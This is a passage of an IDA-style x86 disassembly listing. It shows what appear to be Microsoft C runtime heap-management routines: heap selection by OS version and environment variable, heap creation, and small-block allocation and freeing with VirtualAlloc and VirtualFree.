var_88		= dword	ptr -88h
var_4		= byte ptr -4

		push	ebp
		mov	ebp, esp
		mov	eax, 122Ch
		call	sub_41C2F0
		lea	eax, [ebp+var_98]
		push	ebx
		push	eax
		mov	[ebp+var_98], 94h
		call	dword_4280C8	; GetVersionExA
		test	eax, eax
		jz	short loc_41E4CD
		cmp	[ebp+var_88], 2
		jnz	short loc_41E4CD
		cmp	[ebp+var_94], 5
		jb	short loc_41E4CD
		push	1
		pop	eax
		jmp	loc_41E5CF
; ---------------------------------------------------------------------------


loc_41E4CD:				; CODE XREF: sub_41E48A+27j
					; sub_41E48A+30j ...
		lea	eax, [ebp+var_122C]
		push	1090h
		push	eax
		push	offset a__msvcrt_heap_ ; "__MSVCRT_HEAP_SELECT"
		call	dword_4281B8	; GetEnvironmentVariableA
		test	eax, eax
		jz	loc_41E5BC
		xor	ebx, ebx
		lea	ecx, [ebp+var_122C]
		cmp	[ebp+var_122C],	bl
		jz	short loc_41E50F


loc_41E4FC:				; CODE XREF: sub_41E48A+83j
		mov	al, [ecx]
		cmp	al, 61h
		jl	short loc_41E50A
		cmp	al, 7Ah
		jg	short loc_41E50A
		sub	al, 20h
		mov	[ecx], al


loc_41E50A:				; CODE XREF: sub_41E48A+76j
					; sub_41E48A+7Aj
		inc	ecx
		cmp	[ecx], bl
		jnz	short loc_41E4FC


loc_41E50F:				; CODE XREF: sub_41E48A+70j
		lea	eax, [ebp+var_122C]
		push	16h
		push	eax
		push	offset a__global_heap_ ; "__GLOBAL_HEAP_SELECTED"
		call	sub_41C640
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41E531
		lea	eax, [ebp+var_122C]
		jmp	short loc_41E57A
; ---------------------------------------------------------------------------


loc_41E531:				; CODE XREF: sub_41E48A+9Dj
		lea	eax, [ebp+var_19C]
		push	104h
		push	eax
		push	ebx
		call	dword_428074	; GetModuleFileNameA
		cmp	[ebp+var_19C], bl
		lea	ecx, [ebp+var_19C]
		jz	short loc_41E565


loc_41E552:				; CODE XREF: sub_41E48A+D9j
		mov	al, [ecx]
		cmp	al, 61h
		jl	short loc_41E560
		cmp	al, 7Ah
		jg	short loc_41E560
		sub	al, 20h
		mov	[ecx], al


loc_41E560:				; CODE XREF: sub_41E48A+CCj
					; sub_41E48A+D0j
		inc	ecx
		cmp	[ecx], bl
		jnz	short loc_41E552


loc_41E565:				; CODE XREF: sub_41E48A+C6j
		lea	eax, [ebp+var_19C]
		push	eax
		lea	eax, [ebp+var_122C]
		push	eax
		call	sub_41C0D0
		pop	ecx
		pop	ecx


loc_41E57A:				; CODE XREF: sub_41E48A+A5j
		cmp	eax, ebx
		jz	short loc_41E5BC
		push	2Ch
		push	eax
		call	sub_41C780
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_41E5BC
		inc	eax
		mov	ecx, eax
		cmp	[eax], bl
		jz	short loc_41E5A1


loc_41E593:				; CODE XREF: sub_41E48A+115j
		cmp	byte ptr [ecx],	3Bh
		jnz	short loc_41E59C
		mov	[ecx], bl
		jmp	short loc_41E59D
; ---------------------------------------------------------------------------


loc_41E59C:				; CODE XREF: sub_41E48A+10Cj
		inc	ecx


loc_41E59D:				; CODE XREF: sub_41E48A+110j
		cmp	[ecx], bl
		jnz	short loc_41E593


loc_41E5A1:				; CODE XREF: sub_41E48A+107j
		push	0Ah
		push	ebx
		push	eax
		call	sub_41C376
		add	esp, 0Ch
		cmp	eax, 2
		jz	short loc_41E5CF
		cmp	eax, 3
		jz	short loc_41E5CF
		cmp	eax, 1
		jz	short loc_41E5CF


loc_41E5BC:				; CODE XREF: sub_41E48A+5Cj
					; sub_41E48A+F2j ...
		lea	eax, [ebp+var_4]
		push	eax
		call	sub_41E45D
		cmp	[ebp+var_4], 6
		pop	ecx
		sbb	eax, eax
		add	eax, 3


loc_41E5CF:				; CODE XREF: sub_41E48A+3Ej
					; sub_41E48A+126j ...
		pop	ebx
		leave
		retn
sub_41E48A	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E5D2	proc near		; CODE XREF: .packed:0041E18Dp

arg_0		= dword	ptr  4

		xor	eax, eax
		push	0
		cmp	[esp+4+arg_0], eax
		push	1000h
		setz	al
		push	eax
		call	dword_4281C0	; HeapCreate
		test	eax, eax
		mov	dword_4DF6C4, eax
		jz	short loc_41E628
		call	sub_41E48A
		cmp	eax, 3
		mov	dword_4DF6C8, eax
		jnz	short loc_41E60E
		push	3F8h
		call	sub_41E62F
		pop	ecx
		jmp	short loc_41E618
; ---------------------------------------------------------------------------


loc_41E60E:				; CODE XREF: sub_41E5D2+2Dj
		cmp	eax, 2
		jnz	short loc_41E62B
		call	sub_41F176


loc_41E618:				; CODE XREF: sub_41E5D2+3Aj
		test	eax, eax
		jnz	short loc_41E62B
		push	dword_4DF6C4
		call	dword_4281BC	; HeapDestroy


loc_41E628:				; CODE XREF: sub_41E5D2+1Ej
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_41E62B:				; CODE XREF: sub_41E5D2+3Fj
					; sub_41E5D2+48j
		push	1
		pop	eax
		retn
sub_41E5D2	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E62F	proc near		; CODE XREF: sub_41E5D2+34p

arg_0		= dword	ptr  4

		push	140h
		push	0
		push	dword_4DF6C4
		call	dword_428148	; RtlAllocateHeap
		test	eax, eax
		mov	dword_4DF6BC, eax
		jnz	short loc_41E64C
		retn
; ---------------------------------------------------------------------------


loc_41E64C:				; CODE XREF: sub_41E62F+1Aj
		mov	ecx, [esp+arg_0]
		and	dword_4DF6B4, 0
		and	dword_4DF6B8, 0
		push	1
		mov	dword_4DF6B0, eax
		mov	dword_4DF6C0, ecx
		mov	dword_4DF6A8, 10h
		pop	eax
		retn
sub_41E62F	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E677	proc near		; CODE XREF: sub_41B881+17p
					; sub_41B9D2+4Cp ...

arg_0		= dword	ptr  4

		mov	eax, dword_4DF6B8
		lea	ecx, [eax+eax*4]
		mov	eax, dword_4DF6BC
		lea	ecx, [eax+ecx*4]


loc_41E687:				; CODE XREF: sub_41E677+26j
		cmp	eax, ecx
		jnb	short loc_41E69F
		mov	edx, [esp+arg_0]
		sub	edx, [eax+0Ch]
		cmp	edx, 100000h
		jb	short locret_41E6A1
		add	eax, 14h
		jmp	short loc_41E687
; ---------------------------------------------------------------------------


loc_41E69F:				; CODE XREF: sub_41E677+12j
		xor	eax, eax

locret_41E6A1:				; CODE XREF: sub_41E677+21j
		retn
sub_41E677	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E6A2	proc near		; CODE XREF: sub_41B881+23p
					; sub_41B9D2+A4p ...

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	ecx, [ebp+arg_0]
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		mov	eax, [ecx+10h]
		push	edi
		mov	edi, esi
		add	esi, 0FFFFFFFCh
		sub	edi, [ecx+0Ch]
		shr	edi, 0Fh
		mov	ecx, edi
		imul	ecx, 204h
		lea	ecx, [ecx+eax+144h]
		mov	[ebp+var_10], ecx
		mov	ecx, [esi]
		dec	ecx
		test	cl, 1
		mov	[ebp+var_4], ecx
		jnz	loc_41E9C6
		mov	edx, [ecx+esi]
		lea	ebx, [ecx+esi]
		mov	[ebp+var_C], edx
		mov	edx, [esi-4]
		mov	[ebp+var_8], edx
		mov	edx, [ebp+var_C]
		test	dl, 1
		mov	[ebp+arg_4], ebx
		jnz	short loc_41E778
		sar	edx, 4
		dec	edx
		cmp	edx, 3Fh
		jbe	short loc_41E706
		push	3Fh
		pop	edx


loc_41E706:				; CODE XREF: sub_41E6A2+5Fj
		mov	ecx, [ebx+4]
		cmp	ecx, [ebx+8]
		jnz	short loc_41E75A
		cmp	edx, 20h
		jnb	short loc_41E731
		mov	ebx, 80000000h
		mov	ecx, edx
		shr	ebx, cl
		lea	ecx, [edx+eax+4]
		not	ebx
		and	[eax+edi*4+44h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_41E752
		mov	ecx, [ebp+arg_0]
		and	[ecx], ebx
		jmp	short loc_41E752
; ---------------------------------------------------------------------------


loc_41E731:				; CODE XREF: sub_41E6A2+6Fj
		lea	ecx, [edx-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		lea	ecx, [edx+eax+4]
		not	ebx
		and	[eax+edi*4+0C4h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_41E752
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], ebx


loc_41E752:				; CODE XREF: sub_41E6A2+86j
					; sub_41E6A2+8Dj ...
		mov	ecx, [ebp+var_4]
		mov	ebx, [ebp+arg_4]
		jmp	short loc_41E75D
; ---------------------------------------------------------------------------


loc_41E75A:				; CODE XREF: sub_41E6A2+6Aj
		mov	ecx, [ebp+var_4]


loc_41E75D:				; CODE XREF: sub_41E6A2+B6j
		mov	edx, [ebx+8]
		mov	ebx, [ebx+4]
		add	ecx, [ebp+var_C]
		mov	[edx+4], ebx
		mov	edx, [ebp+arg_4]
		mov	[ebp+var_4], ecx
		mov	ebx, [edx+4]
		mov	edx, [edx+8]
		mov	[ebx+8], edx


loc_41E778:				; CODE XREF: sub_41E6A2+56j
		mov	edx, ecx
		sar	edx, 4
		dec	edx
		cmp	edx, 3Fh
		jbe	short loc_41E786
		push	3Fh
		pop	edx


loc_41E786:				; CODE XREF: sub_41E6A2+DFj
		mov	ebx, [ebp+var_8]
		and	ebx, 1
		mov	[ebp+var_C], ebx
		jnz	loc_41E829
		sub	esi, [ebp+var_8]
		mov	ebx, [ebp+var_8]
		sar	ebx, 4
		push	3Fh
		mov	[ebp+arg_4], esi
		dec	ebx
		pop	esi
		cmp	ebx, esi
		jbe	short loc_41E7AB
		mov	ebx, esi


loc_41E7AB:				; CODE XREF: sub_41E6A2+105j
		add	ecx, [ebp+var_8]
		mov	edx, ecx
		mov	[ebp+var_4], ecx
		sar	edx, 4
		dec	edx
		cmp	edx, esi
		jbe	short loc_41E7BD
		mov	edx, esi


loc_41E7BD:				; CODE XREF: sub_41E6A2+117j
		cmp	ebx, edx
		jz	short loc_41E824
		mov	ecx, [ebp+arg_4]
		mov	esi, [ecx+4]
		cmp	esi, [ecx+8]
		jnz	short loc_41E80C
		cmp	ebx, 20h
		jnb	short loc_41E7ED
		mov	esi, 80000000h
		mov	ecx, ebx
		shr	esi, cl
		not	esi
		and	[eax+edi*4+44h], esi
		dec	byte ptr [ebx+eax+4]
		jnz	short loc_41E80C
		mov	ecx, [ebp+arg_0]
		and	[ecx], esi
		jmp	short loc_41E80C
; ---------------------------------------------------------------------------


loc_41E7ED:				; CODE XREF: sub_41E6A2+12Dj
		lea	ecx, [ebx-20h]
		mov	esi, 80000000h
		shr	esi, cl
		not	esi
		and	[eax+edi*4+0C4h], esi
		dec	byte ptr [ebx+eax+4]
		jnz	short loc_41E80C
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], esi


loc_41E80C:				; CODE XREF: sub_41E6A2+128j
					; sub_41E6A2+142j ...
		mov	ecx, [ebp+arg_4]
		mov	esi, [ecx+8]
		mov	ecx, [ecx+4]
		mov	[esi+4], ecx
		mov	ecx, [ebp+arg_4]
		mov	esi, [ecx+4]
		mov	ecx, [ecx+8]
		mov	[esi+8], ecx


loc_41E824:				; CODE XREF: sub_41E6A2+11Dj
		mov	esi, [ebp+arg_4]
		jmp	short loc_41E82C
; ---------------------------------------------------------------------------


loc_41E829:				; CODE XREF: sub_41E6A2+EDj
		mov	ebx, [ebp+arg_0]


loc_41E82C:				; CODE XREF: sub_41E6A2+185j
		cmp	[ebp+var_C], 0
		jnz	short loc_41E83A
		cmp	ebx, edx
		jz	loc_41E8BB


loc_41E83A:				; CODE XREF: sub_41E6A2+18Ej
		mov	ecx, [ebp+var_10]
		mov	ebx, [ecx+edx*8+4]
		lea	ecx, [ecx+edx*8]
		mov	[esi+4], ebx
		mov	[esi+8], ecx
		mov	[ecx+4], esi
		mov	ecx, [esi+4]
		mov	[ecx+8], esi
		mov	ecx, [esi+4]
		cmp	ecx, [esi+8]
		jnz	short loc_41E8BB
		mov	cl, [edx+eax+4]
		cmp	edx, 20h
		mov	byte ptr [ebp+arg_4+3],	cl
		inc	cl
		mov	[edx+eax+4], cl
		jnb	short loc_41E892
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_41E881
		mov	ebx, 80000000h
		mov	ecx, edx
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx], ebx


loc_41E881:				; CODE XREF: sub_41E6A2+1CFj
		mov	ebx, 80000000h
		mov	ecx, edx
		shr	ebx, cl
		lea	eax, [eax+edi*4+44h]
		or	[eax], ebx
		jmp	short loc_41E8BB
; ---------------------------------------------------------------------------


loc_41E892:				; CODE XREF: sub_41E6A2+1C9j
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_41E8A8
		lea	ecx, [edx-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx+4], ebx


loc_41E8A8:				; CODE XREF: sub_41E6A2+1F4j
		lea	ecx, [edx-20h]
		mov	edx, 80000000h
		shr	edx, cl
		lea	eax, [eax+edi*4+0C4h]
		or	[eax], edx


loc_41E8BB:				; CODE XREF: sub_41E6A2+192j
					; sub_41E6A2+1B7j ...
		mov	eax, [ebp+var_4]
		mov	[esi], eax
		mov	[eax+esi-4], eax
		mov	eax, [ebp+var_10]
		dec	dword ptr [eax]
		jnz	loc_41E9C6
		mov	eax, dword_4DF6B4
		test	eax, eax
		jz	loc_41E9B8
		mov	ecx, dword_4DF6AC
		mov	esi, dword_4281C4
		shl	ecx, 0Fh
		add	ecx, [eax+0Ch]
		mov	ebx, 8000h
		push	4000h
		push	ebx
		push	ecx
		call	esi	; VirtualFree
		mov	ecx, dword_4DF6AC
		mov	eax, dword_4DF6B4
		mov	edx, 80000000h
		shr	edx, cl
		or	[eax+8], edx
		mov	eax, dword_4DF6B4
		mov	ecx, dword_4DF6AC
		mov	eax, [eax+10h]
		and	dword ptr [eax+ecx*4+0C4h], 0
		mov	eax, dword_4DF6B4
		mov	eax, [eax+10h]
		dec	byte ptr [eax+43h]
		mov	eax, dword_4DF6B4
		mov	ecx, [eax+10h]
		cmp	byte ptr [ecx+43h], 0
		jnz	short loc_41E949
		and	dword ptr [eax+4], 0FFFFFFFEh
		mov	eax, dword_4DF6B4


loc_41E949:				; CODE XREF: sub_41E6A2+29Cj
		cmp	dword ptr [eax+8], 0FFFFFFFFh
		jnz	short loc_41E9B8
		push	ebx
		push	0
		push	dword ptr [eax+0Ch]
		call	esi	; VirtualFree
		mov	eax, dword_4DF6B4
		push	dword ptr [eax+10h]
		push	0
		push	dword_4DF6C4
		call	dword_428144	; RtlFreeHeap
		mov	eax, dword_4DF6B8
		mov	edx, dword_4DF6BC
		lea	eax, [eax+eax*4]
		shl	eax, 2
		mov	ecx, eax
		mov	eax, dword_4DF6B4
		sub	ecx, eax
		lea	ecx, [ecx+edx-14h]
		push	ecx
		lea	ecx, [eax+14h]
		push	ecx
		push	eax
		call	sub_41D460
		mov	eax, [ebp+arg_0]
		add	esp, 0Ch
		dec	dword_4DF6B8
		cmp	eax, dword_4DF6B4
		jbe	short loc_41E9AE
		sub	[ebp+arg_0], 14h


loc_41E9AE:				; CODE XREF: sub_41E6A2+306j
		mov	eax, dword_4DF6BC
		mov	dword_4DF6B0, eax


loc_41E9B8:				; CODE XREF: sub_41E6A2+234j
					; sub_41E6A2+2ABj
		mov	eax, [ebp+arg_0]
		mov	dword_4DF6AC, edi
		mov	dword_4DF6B4, eax


loc_41E9C6:				; CODE XREF: sub_41E6A2+38j
					; sub_41E6A2+227j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41E6A2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E9CB	proc near		; CODE XREF: sub_41B9D2+77p
					; sub_41BCE3+18p ...

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		mov	eax, dword_4DF6B8
		mov	edx, dword_4DF6BC
		push	ebx
		push	esi
		lea	eax, [eax+eax*4]
		push	edi
		lea	edi, [edx+eax*4]
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], edi
		lea	ecx, [eax+17h]
		and	ecx, 0FFFFFFF0h
		mov	[ebp+var_10], ecx
		sar	ecx, 4
		dec	ecx
		cmp	ecx, 20h
		jge	short loc_41EA0B
		or	esi, 0FFFFFFFFh
		shr	esi, cl
		or	[ebp+var_8], 0FFFFFFFFh
		mov	[ebp+var_C], esi
		jmp	short loc_41EA1B
; ---------------------------------------------------------------------------


loc_41EA0B:				; CODE XREF: sub_41E9CB+30j
		add	ecx, 0FFFFFFE0h
		or	eax, 0FFFFFFFFh
		xor	esi, esi
		shr	eax, cl
		mov	[ebp+var_C], esi
		mov	[ebp+var_8], eax


loc_41EA1B:				; CODE XREF: sub_41E9CB+3Ej
		mov	eax, dword_4DF6B0
		mov	ebx, eax
		cmp	ebx, edi
		mov	[ebp+arg_0], ebx
		jnb	short loc_41EA42


loc_41EA29:				; CODE XREF: sub_41E9CB+75j
		mov	ecx, [ebx+4]
		mov	edi, [ebx]
		and	ecx, [ebp+var_8]
		and	edi, esi
		or	ecx, edi
		jnz	short loc_41EA42
		add	ebx, 14h
		cmp	ebx, [ebp+var_4]
		mov	[ebp+arg_0], ebx
		jb	short loc_41EA29


loc_41EA42:				; CODE XREF: sub_41E9CB+5Cj
					; sub_41E9CB+6Aj
		cmp	ebx, [ebp+var_4]
		jnz	short loc_41EAC0
		mov	ebx, edx


loc_41EA49:				; CODE XREF: sub_41E9CB+96j
		cmp	ebx, eax
		mov	[ebp+arg_0], ebx
		jnb	short loc_41EA65
		mov	ecx, [ebx+4]
		mov	edi, [ebx]
		and	ecx, [ebp+var_8]
		and	edi, esi
		or	ecx, edi
		jnz	short loc_41EA63
		add	ebx, 14h
		jmp	short loc_41EA49
; ---------------------------------------------------------------------------


loc_41EA63:				; CODE XREF: sub_41E9CB+91j
		cmp	ebx, eax


loc_41EA65:				; CODE XREF: sub_41E9CB+83j
		jnz	short loc_41EAC0


loc_41EA67:				; CODE XREF: sub_41E9CB+ADj
		cmp	ebx, [ebp+var_4]
		jnb	short loc_41EA7D
		cmp	dword ptr [ebx+8], 0
		jnz	short loc_41EA7A
		add	ebx, 14h
		mov	[ebp+arg_0], ebx
		jmp	short loc_41EA67
; ---------------------------------------------------------------------------


loc_41EA7A:				; CODE XREF: sub_41E9CB+A5j
		cmp	ebx, [ebp+var_4]


loc_41EA7D:				; CODE XREF: sub_41E9CB+9Fj
		jnz	short loc_41EAA5
		mov	ebx, edx


loc_41EA81:				; CODE XREF: sub_41E9CB+C6j
		cmp	ebx, eax
		mov	[ebp+arg_0], ebx
		jnb	short loc_41EA95
		cmp	dword ptr [ebx+8], 0
		jnz	short loc_41EA93
		add	ebx, 14h
		jmp	short loc_41EA81
; ---------------------------------------------------------------------------


loc_41EA93:				; CODE XREF: sub_41E9CB+C1j
		cmp	ebx, eax


loc_41EA95:				; CODE XREF: sub_41E9CB+BBj
		jnz	short loc_41EAA5
		call	sub_41ECD4
		mov	ebx, eax
		test	ebx, ebx
		mov	[ebp+arg_0], ebx
		jz	short loc_41EAB9


loc_41EAA5:				; CODE XREF: sub_41E9CB:loc_41EA7Dj
					; sub_41E9CB:loc_41EA95j
		push	ebx
		call	sub_41ED85
		pop	ecx
		mov	ecx, [ebx+10h]
		mov	[ecx], eax
		mov	eax, [ebx+10h]
		cmp	dword ptr [eax], 0FFFFFFFFh
		jnz	short loc_41EAC0


loc_41EAB9:				; CODE XREF: sub_41E9CB+D8j
		xor	eax, eax
		jmp	loc_41ECCF
; ---------------------------------------------------------------------------


loc_41EAC0:				; CODE XREF: sub_41E9CB+7Aj
					; sub_41E9CB:loc_41EA65j ...
		mov	dword_4DF6B0, ebx
		mov	eax, [ebx+10h]
		mov	edx, [eax]
		cmp	edx, 0FFFFFFFFh
		mov	[ebp+var_4], edx
		jz	short loc_41EAE7
		mov	ecx, [eax+edx*4+0C4h]
		mov	edi, [eax+edx*4+44h]
		and	ecx, [ebp+var_8]
		and	edi, esi
		or	ecx, edi
		jnz	short loc_41EB1E


loc_41EAE7:				; CODE XREF: sub_41E9CB+106j
		mov	edx, [eax+0C4h]
		mov	esi, [eax+44h]
		and	edx, [ebp+var_8]
		and	esi, [ebp+var_C]
		and	[ebp+var_4], 0
		lea	ecx, [eax+44h]
		or	edx, esi
		mov	esi, [ebp+var_C]
		jnz	short loc_41EB1B


loc_41EB04:				; CODE XREF: sub_41E9CB+14Ej
		mov	edx, [ecx+84h]
		inc	[ebp+var_4]
		and	edx, [ebp+var_8]
		add	ecx, 4
		mov	edi, esi
		and	edi, [ecx]
		or	edx, edi
		jz	short loc_41EB04


loc_41EB1B:				; CODE XREF: sub_41E9CB+137j
		mov	edx, [ebp+var_4]


loc_41EB1E:				; CODE XREF: sub_41E9CB+11Aj
		mov	ecx, edx
		xor	edi, edi
		imul	ecx, 204h
		lea	ecx, [ecx+eax+144h]
		mov	[ebp+var_C], ecx
		mov	ecx, [eax+edx*4+44h]
		and	ecx, esi
		jnz	short loc_41EB47
		mov	ecx, [eax+edx*4+0C4h]
		push	20h
		and	ecx, [ebp+var_8]
		pop	edi


loc_41EB47:				; CODE XREF: sub_41E9CB+16Dj
					; sub_41E9CB+183j
		test	ecx, ecx
		jl	short loc_41EB50
		shl	ecx, 1
		inc	edi
		jmp	short loc_41EB47
; ---------------------------------------------------------------------------


loc_41EB50:				; CODE XREF: sub_41E9CB+17Ej
		mov	ecx, [ebp+var_C]
		mov	edx, [ecx+edi*8+4]
		mov	ecx, [edx]
		sub	ecx, [ebp+var_10]
		mov	esi, ecx
		mov	[ebp+var_8], ecx
		sar	esi, 4
		dec	esi
		cmp	esi, 3Fh
		jle	short loc_41EB6D
		push	3Fh
		pop	esi


loc_41EB6D:				; CODE XREF: sub_41E9CB+19Dj
		cmp	esi, edi
		jz	loc_41EC82
		mov	ecx, [edx+4]
		cmp	ecx, [edx+8]
		jnz	short loc_41EBDE
		cmp	edi, 20h
		jge	short loc_41EBAD
		mov	ebx, 80000000h
		mov	ecx, edi
		shr	ebx, cl
		mov	ecx, [ebp+var_4]
		lea	edi, [eax+edi+4]
		not	ebx
		mov	[ebp+var_14], ebx
		and	ebx, [eax+ecx*4+44h]
		mov	[eax+ecx*4+44h], ebx
		dec	byte ptr [edi]
		jnz	short loc_41EBDB
		mov	ebx, [ebp+arg_0]
		mov	ecx, [ebp+var_14]
		and	[ebx], ecx
		jmp	short loc_41EBDE
; ---------------------------------------------------------------------------


loc_41EBAD:				; CODE XREF: sub_41E9CB+1B5j
		lea	ecx, [edi-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+var_4]
		lea	edi, [eax+edi+4]
		lea	ecx, [eax+ecx*4+0C4h]
		not	ebx
		and	[ecx], ebx
		dec	byte ptr [edi]
		mov	[ebp+var_14], ebx
		jnz	short loc_41EBDB
		mov	ebx, [ebp+arg_0]
		mov	ecx, [ebp+var_14]
		and	[ebx+4], ecx
		jmp	short loc_41EBDE
; ---------------------------------------------------------------------------


loc_41EBDB:				; CODE XREF: sub_41E9CB+1D6j
					; sub_41E9CB+203j
		mov	ebx, [ebp+arg_0]


loc_41EBDE:				; CODE XREF: sub_41E9CB+1B0j
					; sub_41E9CB+1E0j ...
		mov	ecx, [edx+8]
		mov	edi, [edx+4]
		cmp	[ebp+var_8], 0
		mov	[ecx+4], edi
		mov	ecx, [edx+4]
		mov	edi, [edx+8]
		mov	[ecx+8], edi
		jz	loc_41EC8E
		mov	ecx, [ebp+var_C]
		mov	edi, [ecx+esi*8+4]
		lea	ecx, [ecx+esi*8]
		mov	[edx+4], edi
		mov	[edx+8], ecx
		mov	[ecx+4], edx
		mov	ecx, [edx+4]
		mov	[ecx+8], edx
		mov	ecx, [edx+4]
		cmp	ecx, [edx+8]
		jnz	short loc_41EC7F
		mov	cl, [esi+eax+4]
		cmp	esi, 20h
		mov	byte ptr [ebp+arg_0+3],	cl
		jge	short loc_41EC50
		inc	cl
		cmp	byte ptr [ebp+arg_0+3],	0
		mov	[esi+eax+4], cl
		jnz	short loc_41EC3E
		mov	edi, 80000000h
		mov	ecx, esi
		shr	edi, cl
		or	[ebx], edi


loc_41EC3E:				; CODE XREF: sub_41E9CB+266j
		mov	edi, 80000000h
		mov	ecx, esi
		shr	edi, cl
		mov	ecx, [ebp+var_4]
		or	[eax+ecx*4+44h], edi
		jmp	short loc_41EC7F
; ---------------------------------------------------------------------------


loc_41EC50:				; CODE XREF: sub_41E9CB+25Aj
		inc	cl
		cmp	byte ptr [ebp+arg_0+3],	0
		mov	[esi+eax+4], cl
		jnz	short loc_41EC69
		lea	ecx, [esi-20h]
		mov	edi, 80000000h
		shr	edi, cl
		or	[ebx+4], edi


loc_41EC69:				; CODE XREF: sub_41E9CB+28Fj
		mov	ecx, [ebp+var_4]
		lea	edi, [eax+ecx*4+0C4h]
		lea	ecx, [esi-20h]
		mov	esi, 80000000h
		shr	esi, cl
		or	[edi], esi


loc_41EC7F:				; CODE XREF: sub_41E9CB+24Ej
					; sub_41E9CB+283j
		mov	ecx, [ebp+var_8]


loc_41EC82:				; CODE XREF: sub_41E9CB+1A4j
		test	ecx, ecx
		jz	short loc_41EC91
		mov	[edx], ecx
		mov	[ecx+edx-4], ecx
		jmp	short loc_41EC91
; ---------------------------------------------------------------------------


loc_41EC8E:				; CODE XREF: sub_41E9CB+229j
		mov	ecx, [ebp+var_8]


loc_41EC91:				; CODE XREF: sub_41E9CB+2B9j
					; sub_41E9CB+2C1j
		mov	esi, [ebp+var_10]
		add	edx, ecx
		lea	ecx, [esi+1]
		mov	[edx], ecx
		mov	[edx+esi-4], ecx
		mov	esi, [ebp+var_C]
		mov	ecx, [esi]
		test	ecx, ecx
		lea	edi, [ecx+1]
		mov	[esi], edi
		jnz	short loc_41ECC7
		cmp	ebx, dword_4DF6B4
		jnz	short loc_41ECC7
		mov	ecx, [ebp+var_4]
		cmp	ecx, dword_4DF6AC
		jnz	short loc_41ECC7
		and	dword_4DF6B4, 0


loc_41ECC7:				; CODE XREF: sub_41E9CB+2E0j
					; sub_41E9CB+2E8j ...
		mov	ecx, [ebp+var_4]
		mov	[eax], ecx
		lea	eax, [edx+4]


loc_41ECCF:				; CODE XREF: sub_41E9CB+F0j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41E9CB	endp


; =============== S U B	R O U T	I N E =======================================



sub_41ECD4	proc near		; CODE XREF: sub_41E9CB+CCp
		mov	eax, dword_4DF6B8
		mov	ecx, dword_4DF6A8
		push	esi
		push	edi
		xor	edi, edi
		cmp	eax, ecx
		jnz	short loc_41ED17
		lea	eax, [ecx+ecx*4+50h]
		shl	eax, 2
		push	eax
		push	dword_4DF6BC
		push	edi
		push	dword_4DF6C4
		call	dword_42819C	; RtlReAllocateHeap
		cmp	eax, edi
		jz	short loc_41ED67
		add	dword_4DF6A8, 10h
		mov	dword_4DF6BC, eax
		mov	eax, dword_4DF6B8


loc_41ED17:				; CODE XREF: sub_41ECD4+11j
		mov	ecx, dword_4DF6BC
		push	41C4h
		push	8
		lea	eax, [eax+eax*4]
		push	dword_4DF6C4
		lea	esi, [ecx+eax*4]
		call	dword_428148	; RtlAllocateHeap
		cmp	eax, edi
		mov	[esi+10h], eax
		jz	short loc_41ED67
		push	4
		push	2000h
		push	100000h
		push	edi
		call	dword_4281C8	; VirtualAlloc
		cmp	eax, edi
		mov	[esi+0Ch], eax
		jnz	short loc_41ED6B
		push	dword ptr [esi+10h]
		push	edi
		push	dword_4DF6C4
		call	dword_428144	; RtlFreeHeap


loc_41ED67:				; CODE XREF: sub_41ECD4+30j
					; sub_41ECD4+67j
		xor	eax, eax
		jmp	short loc_41ED82
; ---------------------------------------------------------------------------


loc_41ED6B:				; CODE XREF: sub_41ECD4+81j
		or	dword ptr [esi+8], 0FFFFFFFFh
		mov	[esi], edi
		mov	[esi+4], edi
		inc	dword_4DF6B8
		mov	eax, [esi+10h]
		or	dword ptr [eax], 0FFFFFFFFh
		mov	eax, esi


loc_41ED82:				; CODE XREF: sub_41ECD4+95j
		pop	edi
		pop	esi
		retn
sub_41ECD4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41ED85	proc near		; CODE XREF: sub_41E9CB+DBp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	ecx, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	esi, [ecx+10h]
		mov	eax, [ecx+8]
		xor	ebx, ebx


loc_41ED97:				; CODE XREF: sub_41ED85+19j
		test	eax, eax
		jl	short loc_41EDA0
		shl	eax, 1
		inc	ebx
		jmp	short loc_41ED97
; ---------------------------------------------------------------------------


loc_41EDA0:				; CODE XREF: sub_41ED85+14j
		mov	eax, ebx
		push	3Fh
		imul	eax, 204h
		pop	edx
		lea	eax, [eax+esi+144h]
		mov	[ebp+var_4], eax


loc_41EDB5:				; CODE XREF: sub_41ED85+3Aj
		mov	[eax+8], eax
		mov	[eax+4], eax
		add	eax, 8
		dec	edx
		jnz	short loc_41EDB5
		mov	edi, ebx
		push	4
		shl	edi, 0Fh
